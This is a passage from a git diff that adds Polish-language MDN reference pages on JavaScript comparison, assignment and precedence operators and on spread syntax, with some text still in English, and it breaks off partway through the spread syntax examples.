+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Chrome for Android</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Mobile</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Zobacz_również">Zobacz również</h2>
+
+<ul>
+ <li>{{jsxref("Object")}}</li>
+ <li>{{jsxref("Object/defineProperty")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/operatory/operatory_porównania/index.html b/files/pl/web/javascript/referencje/operatory/operatory_porównania/index.html
new file mode 100644
index 0000000000..cf86515544
--- /dev/null
+++ b/files/pl/web/javascript/referencje/operatory/operatory_porównania/index.html
@@ -0,0 +1,129 @@
+---
+title: Operatory porównania
+slug: Web/JavaScript/Referencje/Operatory/Operatory_porównania
+tags:
+ - JavaScript
+ - Operator
+translation_of: Web/JavaScript/Reference/Operators
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Operandy posiadają wartość liczbową lub łańcucha znaków. Łańcuchy znaków są porównywane w oparciu o zasady pisowni, używają wartości Unicode.</p>
+
+<p>Jako rezultat porównania zwracana jest wartość logiczna.</p>
+
+<ul>
+ <li>Dwa łańcuchy są równe kiedy kiedy posiadają taką sama sekwencję znaków, taką samą długość, i takie same znaki w zgodnych pozycjach.</li>
+ <li>Dwie liczby są równe kiedy ich wartości liczbowe (posiadają liczbę o takiej samej wartości). NaN jest różne dla wszystkich, włączając NaN. Dodatnie i ujemne zera są równe.</li>
+ <li>Dwa obiekty są równe jeżeli odnoszą się do tego samego obiektu .</li>
+ <li>Dwa operandy Boolean są równe jeżeli oba zwracają <code>true</code> lub <code>false</code>.</li>
+ <li>Typy Null i Undefined są  <code>==</code> (lecz nie <code>===</code>).</li>
+</ul>
+
+<p>Następująca tabela opisuje operatory porównania:</p>
+
+<table class="fullwidth-table">
+ <tbody>
+ <tr>
+ <th>Operator</th>
+ <th>Opis</th>
+ <th>Przykłady zwracające prawdę (true)<sup>1</sup></th>
+ </tr>
+ <tr>
+ <td>Równy (<code>==</code>)</td>
+ <td>Zwraca true jeżeli operandy są równe. Jeżeli operandy nie są tego samego typu, JavaScript próbuje przekształcić operandy na odpowiedni dla porównania typ.</td>
+ <td>
+ <p><code>3 == var1<br>
+ "3" == var1<br>
+ 3 == '3'</code></p>
+ </td>
+ </tr>
+ <tr>
+ <td>Różny (<code>!=</code>)</td>
+ <td>Zwraca true jeżeli operandy są różne. Jeżeli dwa operandy nie są tego samego typu, JavaScript próbuje przekształcić operandy na odpowiedni dla porównania typ.</td>
+ <td>
+ <p><code>var1 != 4<br>
+ var1 != "3"</code></p>
+ </td>
+ </tr>
+ <tr>
+ <td>Identyczny (<code>===</code>)</td>
+ <td>Zwraca true jeżeli operandy są równe i tego samego typu.</td>
+ <td>
+ <p><code>3 === var1</code></p>
+ </td>
+ </tr>
+ <tr>
+ <td>Nieidentyczny (<code>!==</code>)</td>
+ <td>Zwraca true jeżeli operandy nie są równe i/lub nie są tego samego typu.</td>
+ <td>
+ <p><code>var1 !== 3<br>
+ 3 !== '3'</code></p>
+ </td>
+ </tr>
+ <tr>
+ <td>Większy niż (<code>&gt;</code>)</td>
+ <td>Zwraca true jeżeli lewy operand jest większy od prawego operandu.</td>
+ <td>
+ <p><code>var2 &gt; var1</code></p>
+ </td>
+ </tr>
+ <tr>
+ <td>Większy - równy (<code>&gt;=</code>)</td>
+ <td>Zwraca true jeżeli lewy operand jest większy lub równy prawemu operandowi.</td>
+ <td>
+ <p><code>var2 &gt;= var1<br>
+ var1 &gt;= 3</code></p>
+ </td>
+ </tr>
+ <tr>
+ <td>Mniejszy niż (<code>&lt;</code>)</td>
+ <td>Zwraca true, jeśli lewy operand jest mniejszy, niż prawy.</td>
+ <td>
+ <p><code>var1 &lt; var2</code></p>
+ </td>
+ </tr>
+ <tr>
+ <td>Mniejszy - równy (<code>&lt;=</code>)</td>
+ <td>Zwraca true jeżeli lewy operand jest mniejszy lub równy prawemu operandowi.</td>
+ <td>
+ <p><code>var1 &lt;= var2<br>
+ var2 &lt;= 5</code></p>
+ </td>
+ </tr>
+ </tbody>
+</table>
+
+<p><small><sup>1</sup> Te przykłady zakładają, że <code>var1</code> będzie przydzielona wartość 3 i <code>var2</code> będzie miała przydzieloną wartość 4.</small></p>
+
+<h2 id="U.C5.BCywanie_operator.C3.B3w_por.C3.B3wnania" name="U.C5.BCywanie_operator.C3.B3w_por.C3.B3wnania">Używanie operatorów porównania</h2>
+
+<p>Standardowe operatory(<code>==</code> i <code>!=</code>) porównują dwa operandy bez względu na ich typ. Operatory porównania identyczności(<code>===</code> i <code>!==</code>) dokonują porównania równości na operandach tego samego typu. Operatorów identyczności używamy jeżeli operandy muszą być określonego typu jak również wartości lub jeśli dokładny typ operandów jest ważny. W przeciwnym razie, używamy standardowych operatorów porównania, które pozwalają na porównać identyczność dwóch operandów nawet jeżeli nie są takiego samego typu.</p>
+
+<p>Kiedy potrzebna jest konwersja, JavaScript następująco przekształca operand Number, Boolean lub Object.</p>
+
+<ul>
+ <li>Kiedy porównujemy liczbę i łańcuch, łańcuch jest zmieniany na wartość liczbową. JavaScript próbuje przekształcić łańcuch literalny cyfr na wartość typu <code>Number</code>. Najpierw, matematyczna wartość jest wyprowadzana z łańcucha cyfrowego literału. Następnie, ta wartość jest zaokrąglana do najbliższej wartości typu <code>Number</code>.</li>
+ <li>If one of the operands is <code>Boolean</code>, the Boolean operand is converted to 1 if it is <code>true</code> and +0 if it is <code>false</code>.</li>
+ <li>If an object is compared with a number or string, JavaScript attempts to return the default value for the object. Operators attempt to convert the object to a primitive value, a <code>String</code> or <code>Number</code> value, using the <code>valueOf</code> and <code>toString</code> methods of the objects. If this attempt to convert the object fails, a runtime error is generated.</li>
+</ul>
+
+<p>You cannot use the standard equality operator (<code>==</code>) to compare instances of <code>JSObject</code>. Use the <code>JSObject.equals</code> method for such comparisons.</p>
+
+<h2 id="Kompatybilno.C5.9B.C4.87_wsteczna" name="Kompatybilno.C5.9B.C4.87_wsteczna">Kompatybilność wsteczna</h2>
+
+<p>Zachowanie standardowych operatorów porównania (<code>==</code> i <code>!=</code>) zależy od wersji JavaScript.</p>
+
+<h4 id="JavaScript_1.3_i_wersje_wcze.C5.9Bniejsze" name="JavaScript_1.3_i_wersje_wcze.C5.9Bniejsze">JavaScript 1.3 i wersje wcześniejsze</h4>
+
+<p>You can use either the standard equality operator (<code>==</code>) or <code>JSObject.equals</code> to compare instances of <code>JSObject</code>.</p>
+
+<h4 id="JavaScript_1.2" name="JavaScript_1.2">JavaScript 1.2</h4>
+
+<p>The standard equality operators (<code>==</code> and <code>!=</code>) do not perform a type conversion before the comparison is made. Operatory identyczności (<code>===</code> i <code>!==</code>) są niedostępne.</p>
+
+<h4 id="JavaScript_1.1_i_wersje_wcze.C5.9Bniejsze" name="JavaScript_1.1_i_wersje_wcze.C5.9Bniejsze">JavaScript 1.1 i wersje wcześniejsze</h4>
+
+<p>The standard equality operators (<code>==</code> and <code>!=</code>) perform a type conversion before the comparison is made.Operatory identyczności (<code>===</code> i <code>!==</code>) są niedostępne.</p>
diff --git a/files/pl/web/javascript/referencje/operatory/operatory_przypisania/index.html b/files/pl/web/javascript/referencje/operatory/operatory_przypisania/index.html
new file mode 100644
index 0000000000..c389baa5d6
--- /dev/null
+++ b/files/pl/web/javascript/referencje/operatory/operatory_przypisania/index.html
@@ -0,0 +1,74 @@
+---
+title: Operatory przypisania
+slug: Web/JavaScript/Referencje/Operatory/Operatory_przypisania
+tags:
+ - JavaScript
+ - Operator
+translation_of: Web/JavaScript/Reference/Operators#Assignment_operators
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Operator przypisania przypisuje wartość swego prawego operandu do operandu lewego.</p>
+
+<p>Podstawowy operator przypisania to znak równości (<code>=</code>), który przypisuje wartość prawego operandu do lewego. To znaczy, że <code>x = y</code> przypisuje wartość zmiennej <code>y</code> do zmiennej <code>x</code>. Pozostałe operatory przypisania to zwykle skróty dla operacji standardowych, jak w poniższej tabeli.</p>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th>Operator skrócony</th>
+ <th>Znaczenie</th>
+ </tr>
+ <tr>
+ <td><code>x += y</code></td>
+ <td><code>x = x + y</code></td>
+ </tr>
+ <tr>
+ <td><code>x -= y</code></td>
+ <td><code>x = x - y</code></td>
+ </tr>
+ <tr>
+ <td><code>x *= y</code></td>
+ <td><code>x = x * y</code></td>
+ </tr>
+ <tr>
+ <td><code>x /= y</code></td>
+ <td><code>x = x / y</code></td>
+ </tr>
+ <tr>
+ <td><code>x %= y</code></td>
+ <td><code>x = x % y</code></td>
+ </tr>
+ <tr>
+ <td><code>x &lt;&lt;= y</code></td>
+ <td><code>x = x &lt;&lt; y</code></td>
+ </tr>
+ <tr>
+ <td><code>x &gt;&gt;= y</code></td>
+ <td><code>x = x &gt;&gt; y</code></td>
+ </tr>
+ <tr>
+ <td><code>x &gt;&gt;&gt;= y</code></td>
+ <td><code>x = x &gt;&gt;&gt; y</code></td>
+ </tr>
+ <tr>
+ <td><code>x &amp;= y</code></td>
+ <td><code>x = x &amp; y</code></td>
+ </tr>
+ <tr>
+ <td><code>x ^= y</code></td>
+ <td><code>x = x ^ y</code></td>
+ </tr>
+ <tr>
+ <td><code>x |= y</code></td>
+ <td><code>x = x | y</code></td>
+ </tr>
+ </tbody>
+</table>
+
+<p>
+ </p><div class="noinclude"> </div>
+<p></p>
+
+<p> </p>
diff --git a/files/pl/web/javascript/referencje/operatory/pierwszeństwo_operatorów/index.html b/files/pl/web/javascript/referencje/operatory/pierwszeństwo_operatorów/index.html
new file mode 100644
index 0000000000..87765f3e1a
--- /dev/null
+++ b/files/pl/web/javascript/referencje/operatory/pierwszeństwo_operatorów/index.html
@@ -0,0 +1,336 @@
+---
+title: Pierwszeństwo operatorów
+slug: Web/JavaScript/Referencje/Operatory/Pierwszeństwo_operatorów
+tags:
+ - JavaScript
+ - Operator
+ - pierwszeństwo
+translation_of: Web/JavaScript/Reference/Operators/Operator_Precedence
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<div></div>
+
+<div>Pierwszeństwo operatorów ustala kolejność, w jakiej operatory są ewaluowane. Operatory z wyższym pierwszeństwem są ewaluowane jako pierwsze.</div>
+
+<div></div>
+
+<p>Prosty przykład:</p>
+
+<pre class="brush: js notranslate">3 + 4 * 5 // zwraca 23
+</pre>
+
+<p>Operator mnożenia ("<code>*</code>") ma wyższe pierwszeństwo niż operator dodawania ("<code>+</code>") i dlatego będzie ewaluowany jako pierwszy.</p>
+
+<h2 id="Associativity" name="Associativity">Łączność</h2>
+
+<p>Łączność określa kolejność, w jakiej przetwarzane są operatory o takim samym pierwszeństwie. Przykłądowo, rozważny wyrażenie:</p>
+
+<pre class="syntaxbox notranslate">a OP b OP c
+</pre>
+
+<p>Jeżeli  <code>OP<sub>1</sub></code> and <code>OP<sub>2 </sub></code>mają różne poziomy pierwszeństwa operatorów (patrz tabela poniżej), operator z wyższym poziomem pierwszeństwa zostanie wykonany jako pierwszy, a kolejność zapisu nie ma znaczenia. Zwróćmy uwagę na w poniższym przykładzie, że mnożenie ma wyższy poziom pierwszeństwa i tym samym zostanie wykonane jako pierwsze, pomimo tego, że to dodawanie jest zapisane w kodzie jako pierwsze.</p>
+
+<pre class="notranslate">console.log(3 + 10 * 2); // wynik 23
+console.log(3 + (10 * 2)); // wynik 23 ponieważ nawiasy tutaj nie mają znaczenia
+console.log((3 + 10) * 2); // wynik 26 ponieważ nawiasy zmieniają kolejność działań</pre>
+
+<p>Lewo-łączność (od lewej do prawej) oznacza, iż będzie ono przetworzone jako <code>(a OP b) OP c</code>, podczas gdy prawo-łączność (od prawej do lewej) oznacza, iż będzie ono zinterpretowane jako <code>a OP (b OP c)</code>. Operatory przypisania są prawo-łączne, więc możesz napisać:</p>
+
+<pre class="brush: js notranslate">a = b = 5;
+</pre>
+
+<p>oczekując, że <code>a</code> i <code>b</code> otrzymają wartość 5. Wynika to z faktu, iż operator przypisania zwraca wartość, która jest przypisana. Najpierw wartość <code>b</code> ustawiana jest na 5, a następnie wartość zmiennej <code>a</code> jest ustawiana na wartość <code>b</code>.</p>
+
+<h2 id="Tabela" name="Tabela">Tabela</h2>
+
+<p>Poniższa tabela uporządkowana jest od najwyższego (19) do najniższego (0) pierwszeństwa.</p>
+
+<table class="fullwidth-table">
+ <tbody>
+ <tr>
+ <th>Pierwszeństwo</th>
+ <th>Rodzaj operatora</th>
+ <th>Łączność</th>
+ <th>Operator</th>
+ </tr>
+ <tr>
+ <td>19</td>
+ <td><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Grouping">Grouping</a></td>
+ <td>n/a</td>
+ <td><code>( … )</code></td>
+ </tr>
+ <tr>
+ <td rowspan="3">18</td>
+ <td><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Property_Accessors#Dot_notation">Member Access</a></td>
+ <td>left-to-right</td>
+ <td><code>… . …</code></td>
+ </tr>
+ <tr>
+ <td><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Property_Accessors#Dot_notation">Computed Member Access</a></td>
+ <td>left-to-right</td>
+ <td><code>… [ … ]</code></td>
+ </tr>
+ <tr>
+ <td><a href="https://developer.mozilla.org/en-US/docs/JavaScript/Reference/Operators/Special/new" title="JavaScript/Reference/Operators/Special_Operators/new_Operator">new</a> (z listą argumentów)</td>
+ <td>n/a</td>
+ <td><code>new … ( … )</code></td>
+ </tr>
+ <tr>
+ <td rowspan="2">17</td>
+ <td><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Functions" title="JavaScript/Reference/Operators/Special_Operators/function_call">Wywołanie funkcji</a></td>
+ <td>left-to-right</td>
+ <td><code>… ( <var>… </var>)</code></td>
+ </tr>
+ <tr>
+ <td><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/new" title="JavaScript/Reference/Operators/Special_Operators/new_Operator">new</a> (bez listy argumentów)</td>
+ <td>right-to-left</td>
+ <td><code>new …</code></td>
+ </tr>
+ <tr>
+ <td rowspan="2">16</td>
+ <td><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Arithmetic_Operators#Increment" title="JavaScript/Reference/Operators/Arithmetic_Operators">Postinkrementacja</a></td>
+ <td>n/a</td>
+ <td><code>… ++</code></td>
+ </tr>
+ <tr>
+ <td><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Arithmetic_Operators#Decrement" title="JavaScript/Reference/Operators/Arithmetic_Operators">Postdekrementacja</a></td>
+ <td>n/a</td>
+ <td><code>… --</code></td>
+ </tr>
+ <tr>
+ <td rowspan="9">15</td>
+ <td><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Logical_Operators#Logical_NOT" title="JavaScript/Reference/Operators/Logical_Operators">Negacja logiczna (NOT)</a></td>
+ <td>right-to-left</td>
+ <td><code>! …</code></td>
+ </tr>
+ <tr>
+ <td><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Bitwise_Operators#Bitwise_NOT" title="JavaScript/Reference/Operators/Bitwise_Operators">Negacja bitowa (NOT)</a></td>
+ <td>right-to-left</td>
+ <td><code>~ …</code></td>
+ </tr>
+ <tr>
+ <td><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Arithmetic_Operators#Unary_plus" title="JavaScript/Reference/Operators/Arithmetic_Operators">Unary Plus</a></td>
+ <td>right-to-left</td>
+ <td><code>+ …</code></td>
+ </tr>
+ <tr>
+ <td><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Arithmetic_Operators#Unary_negation" title="JavaScript/Reference/Operators/Arithmetic_Operators">Unary Negation</a></td>
+ <td>right-to-left</td>
+ <td><code>- …</code></td>
+ </tr>
+ <tr>
+ <td><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Arithmetic_Operators#Increment" title="JavaScript/Reference/Operators/Arithmetic_Operators">Preinkrementacja</a></td>
+ <td>right-to-left</td>
+ <td><code>++ …</code></td>
+ </tr>
+ <tr>
+ <td><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Arithmetic_Operators#Decrement" title="JavaScript/Reference/Operators/Arithmetic_Operators">Predekrementacja</a></td>
+ <td>right-to-left</td>
+ <td><code>-- …</code></td>
+ </tr>
+ <tr>
+ <td><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/typeof" title="JavaScript/Reference/Operators/Special_Operators/typeof_Operator">typeof</a></td>
+ <td>right-to-left</td>
+ <td><code>typeof …</code></td>
+ </tr>
+ <tr>
+ <td><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/void" title="JavaScript/Reference/Operators/Special_Operators/void_Operator">void</a></td>
+ <td>right-to-left</td>
+ <td><code>void …</code></td>
+ </tr>
+ <tr>
+ <td><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/delete" title="JavaScript/Reference/Operators/Special_Operators/delete_Operator">delete</a></td>
+ <td>right-to-left</td>
+ <td><code>delete …</code></td>
+ </tr>
+ <tr>
+ <td rowspan="3">14</td>
+ <td><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Arithmetic_Operators#Multiplication" title="JavaScript/Reference/Operators/Arithmetic_Operators">Mnożenie</a></td>
+ <td>left-to-right</td>
+ <td><code>… * …</code></td>
+ </tr>
+ <tr>
+ <td><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Arithmetic_Operators#Division" title="JavaScript/Reference/Operators/Arithmetic_Operators">Dzielenie</a></td>
+ <td>left-to-right</td>
+ <td><code>… / …</code></td>
+ </tr>
+ <tr>
+ <td><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Arithmetic_Operators#Remainder" title="JavaScript/Reference/Operators/Arithmetic_Operators">Reszta z dzielenia</a></td>
+ <td>left-to-right</td>
+ <td><code>… % …</code></td>
+ </tr>
+ <tr>
+ <td rowspan="2">13</td>
+ <td><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Arithmetic_Operators#Addition" title="JavaScript/Reference/Operators/Arithmetic_Operators">Dodawanie</a></td>
+ <td>left-to-right</td>
+ <td><code>… + …</code></td>
+ </tr>
+ <tr>
+ <td><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Arithmetic_Operators#Subtraction" title="JavaScript/Reference/Operators/Arithmetic_Operators">Odejmowanie</a></td>
+ <td>left-to-right</td>
+ <td><code>… - …</code></td>
+ </tr>
+ <tr>
+ <td rowspan="3">12</td>
+ <td><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Bitwise_Operators" title="JavaScript/Reference/Operators/Bitwise_Operators">Bitowe przesunięcie w lewo</a></td>
+ <td>left-to-right</td>
+ <td><code>… &lt;&lt; …</code></td>
+ </tr>
+ <tr>
+ <td><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Bitwise_Operators" title="JavaScript/Reference/Operators/Bitwise_Operators">Bitowe przesunięcie w prawo</a></td>
+ <td>left-to-right</td>
+ <td><code>… &gt;&gt; …</code></td>
+ </tr>
+ <tr>
+ <td><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Bitwise_Operators" title="JavaScript/Reference/Operators/Bitwise_Operators">Bitowe przesunięcie w prawo bez znaku</a></td>
+ <td>left-to-right</td>
+ <td><code>… &gt;&gt;&gt; …</code></td>
+ </tr>
+ <tr>
+ <td rowspan="6">11</td>
+ <td><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Comparison_Operators#Less_than_operator" title="JavaScript/Reference/Operators/Comparison_Operators">Mniejsze niż</a></td>
+ <td>left-to-right</td>
+ <td><code>… &lt; …</code></td>
+ </tr>
+ <tr>
+ <td><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Comparison_Operators#Less_than__or_equal_operator" title="JavaScript/Reference/Operators/Comparison_Operators">Mniejsze lub równe</a></td>
+ <td>left-to-right</td>
+ <td><code>… &lt;= …</code></td>
+ </tr>
+ <tr>
+ <td><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Comparison_Operators#Greater_than_operator" title="JavaScript/Reference/Operators/Comparison_Operators">Większe niż</a></td>
+ <td>left-to-right</td>
+ <td><code>… &gt; …</code></td>
+ </tr>
+ <tr>
+ <td><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Comparison_Operators#Greater_than_or_equal_operator" title="JavaScript/Reference/Operators/Comparison_Operators">Większe lub równe</a></td>
+ <td>left-to-right</td>
+ <td><code>… &gt;= …</code></td>
+ </tr>
+ <tr>
+ <td><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/in" title="JavaScript/Reference/Operators/Special_Operators/in_Operator">in</a></td>
+ <td>left-to-right</td>
+ <td><code>… in …</code></td>
+ </tr>
+ <tr>
+ <td><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/instanceof" title="JavaScript/Reference/Operators/Special_Operators/instanceof_Operator">instanceof</a></td>
+ <td>left-to-right</td>
+ <td><code>… instanceof …</code></td>
+ </tr>
+ <tr>
+ <td rowspan="4">10</td>
+ <td><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Comparison_Operators#Equality" title="JavaScript/Reference/Operators/Comparison_Operators">Równość</a></td>
+ <td>left-to-right</td>
+ <td><code>… == …</code></td>
+ </tr>
+ <tr>
+ <td><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Comparison_Operators#Inequality" title="JavaScript/Reference/Operators/Comparison_Operators">Nierówność</a></td>
+ <td>left-to-right</td>
+ <td><code>… != …</code></td>
+ </tr>
+ <tr>
+ <td><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Comparison_Operators#Identity" title="JavaScript/Reference/Operators/Comparison_Operators">Ścisła równość</a></td>
+ <td>left-to-right</td>
+ <td><code>… === …</code></td>
+ </tr>
+ <tr>
+ <td><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Comparison_Operators#Nonidentity" title="JavaScript/Reference/Operators/Comparison_Operators">Ścisła nierówność</a></td>
+ <td>left-to-right</td>
+ <td><code>… !== …</code></td>
+ </tr>
+ <tr>
+ <td>9</td>
+ <td><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Bitwise_Operators#Bitwise_AND" title="JavaScript/Reference/Operators/Bitwise_Operators">Koniunkcja bitowa (AND)</a></td>
+ <td>left-to-right</td>
+ <td><code>… &amp; …</code></td>
+ </tr>
+ <tr>
+ <td>8</td>
+ <td><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Bitwise_Operators#Bitwise_XOR" title="JavaScript/Reference/Operators/Bitwise_Operators">Bitowa alternatywa wykluczająca (XOR)</a></td>
+ <td>left-to-right</td>
+ <td><code>… ^ …</code></td>
+ </tr>
+ <tr>
+ <td>7</td>
+ <td><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Bitwise_Operators#Bitwise_OR" title="JavaScript/Reference/Operators/Bitwise_Operators">Alternatywa bitowa (OR)</a></td>
+ <td>left-to-right</td>
+ <td><code>… | …</code></td>
+ </tr>
+ <tr>
+ <td>6</td>
+ <td><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Logical_Operators#Logical_AND" title="JavaScript/Reference/Operators/Logical_Operators">Koniunkcja logiczna (AND)</a></td>
+ <td>left-to-right</td>
+ <td><code>… &amp;&amp; …</code></td>
+ </tr>
+ <tr>
+ <td>5</td>
+ <td><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Logical_Operators#Logical_OR" title="JavaScript/Reference/Operators/Logical_Operators">Alternatywa logiczna (OR)</a></td>
+ <td>left-to-right</td>
+ <td><code>… || …</code></td>
+ </tr>
+ <tr>
+ <td>4</td>
+ <td><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Conditional_Operator" title="JavaScript/Reference/Operators/Special_Operators/Conditional_Operator">Warunek</a></td>
+ <td>right-to-left</td>
+ <td><code>… ? … : …</code></td>
+ </tr>
+ <tr>
+ <td rowspan="12">3</td>
+ <td rowspan="12"><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Assignment_Operators" title="JavaScript/Reference/Operators/Assignment_Operators">Przypisanie</a></td>
+ <td rowspan="12">right-to-left</td>
+ <td><code>… = …</code></td>
+ </tr>
+ <tr>
+ <td><code>… += …</code></td>
+ </tr>
+ <tr>
+ <td><code>… -= …</code></td>
+ </tr>
+ <tr>
+ <td><code>… *= …</code></td>
+ </tr>
+ <tr>
+ <td><code>… /= …</code></td>
+ </tr>
+ <tr>
+ <td><code>… %= …</code></td>
+ </tr>
+ <tr>
+ <td><code>… &lt;&lt;= …</code></td>
+ </tr>
+ <tr>
+ <td><code>… &gt;&gt;= …</code></td>
+ </tr>
+ <tr>
+ <td><code>… &gt;&gt;&gt;= …</code></td>
+ </tr>
+ <tr>
+ <td><code>… &amp;= …</code></td>
+ </tr>
+ <tr>
+ <td><code>… ^= …</code></td>
+ </tr>
+ <tr>
+ <td><code>… |= …</code></td>
+ </tr>
+ <tr>
+ <td>2</td>
+ <td><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/yield" title="JavaScript/Reference/Operators/yield">yield</a></td>
+ <td>right-to-left</td>
+ <td><code>yield …</code></td>
+ </tr>
+ <tr>
+ <td>1</td>
+ <td><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Spread_operator" title="JavaScript/Reference/Operators/Spread_operator">Spread</a></td>
+ <td>n/a</td>
+ <td><code>...</code> …</td>
+ </tr>
+ <tr>
+ <td>0</td>
+ <td><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Comma_Operator" title="JavaScript/Reference/Operators/Comma_Operator">Comma / Sequence</a></td>
+ <td>left-to-right</td>
+ <td><code>… , …</code></td>
+ </tr>
+ </tbody>
+</table>
diff --git a/files/pl/web/javascript/referencje/operatory/składnia_rozwinięcia/index.html b/files/pl/web/javascript/referencje/operatory/składnia_rozwinięcia/index.html
new file mode 100644
index 0000000000..a45d730722
--- /dev/null
+++ b/files/pl/web/javascript/referencje/operatory/składnia_rozwinięcia/index.html
@@ -0,0 +1,244 @@
+---
+title: Składnia rozwinięcia
+slug: Web/JavaScript/Referencje/Operatory/Składnia_rozwinięcia
+translation_of: Web/JavaScript/Reference/Operators/Spread_syntax
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<div><strong>Składnia rozwinięcia</strong> (ang. <em>spread syntax</em>) pozwala na rozwinięcie iterowalnego wyrażenia, takiego jak wyrażenie tablicowe lub ciąg znaków, tam gdzie oczekiwanych jest zero lub więcej argumentów (dla wywołań funkcji) lub elementów (dla literałów tablicowych). Pozwala również na rozwinięcie wyrażeń obiektowych w miejscach, gdzie oczekiwanych jest zero lub więcej par klucz-wartość (dla literałów obiektowych).</div>
+
+<div> </div>
+
+<div>{{EmbedInteractiveExample("pages/js/expressions-spreadsyntax.html")}}</div>
+
+
+
+<h2 id="Składnia">Składnia</h2>
+
+<p>Dla wywołań funkcji:</p>
+
+<pre class="syntaxbox">mojaFunkcja(...iterowalnyObiekt);
+</pre>
+
+<p>Dla literałów tablicowych lub łańcuchów znaków:</p>
+
+<pre class="syntaxbox">[...iterowalnyObiekt, '3', 'cztery', 5];</pre>
+
+<p>Dla literałów obiektowych (nowe w ECMAScript 2018):</p>
+
+<pre class="syntaxbox">let klonObiektu = { ...obiekt };</pre>
+
+<h2 id="Przykłady">Przykłady</h2>
+
+<h3 id="Rozwinięcie_w_wywołaniach_funkcji">Rozwinięcie w wywołaniach funkcji</h3>
+
+<h4 id="Zastąpienie_apply">Zastąpienie <code>apply</code></h4>
+
+<p>Powszechne jest używanie {{jsxref( "Function.prototype.apply")}} w przypadkach, w których chcemy użyć elementów tablicy jako argumentów funkcji.</p>
+
+<pre class="brush: js">function mojaFunkcja(x, y, z) { }
+var argumenty = [0, 1, 2];
+mojaFunkcja.apply(null, argumenty);</pre>
+
+<p>Przy użyciu operatora rozpakowania można to zapisać jako:</p>
+
+<pre class="brush: js">function mojaFunkcja(x, y, z) { }
+var argumenty = [0, 1, 2];
+mojaFunkcja(...argumenty);</pre>
+
+<p>Każdy argument na liście argumentów może użyć operatora rozpakowania, można go także używać wielokrotnie.</p>
+
+<pre class="brush: js">function mojaFunkcja(v, w, x, y, z) { }
+var argumenty = [0, 1];
+mojaFunkcja(-1, ...argumenty, 2, ...[3]);</pre>
+
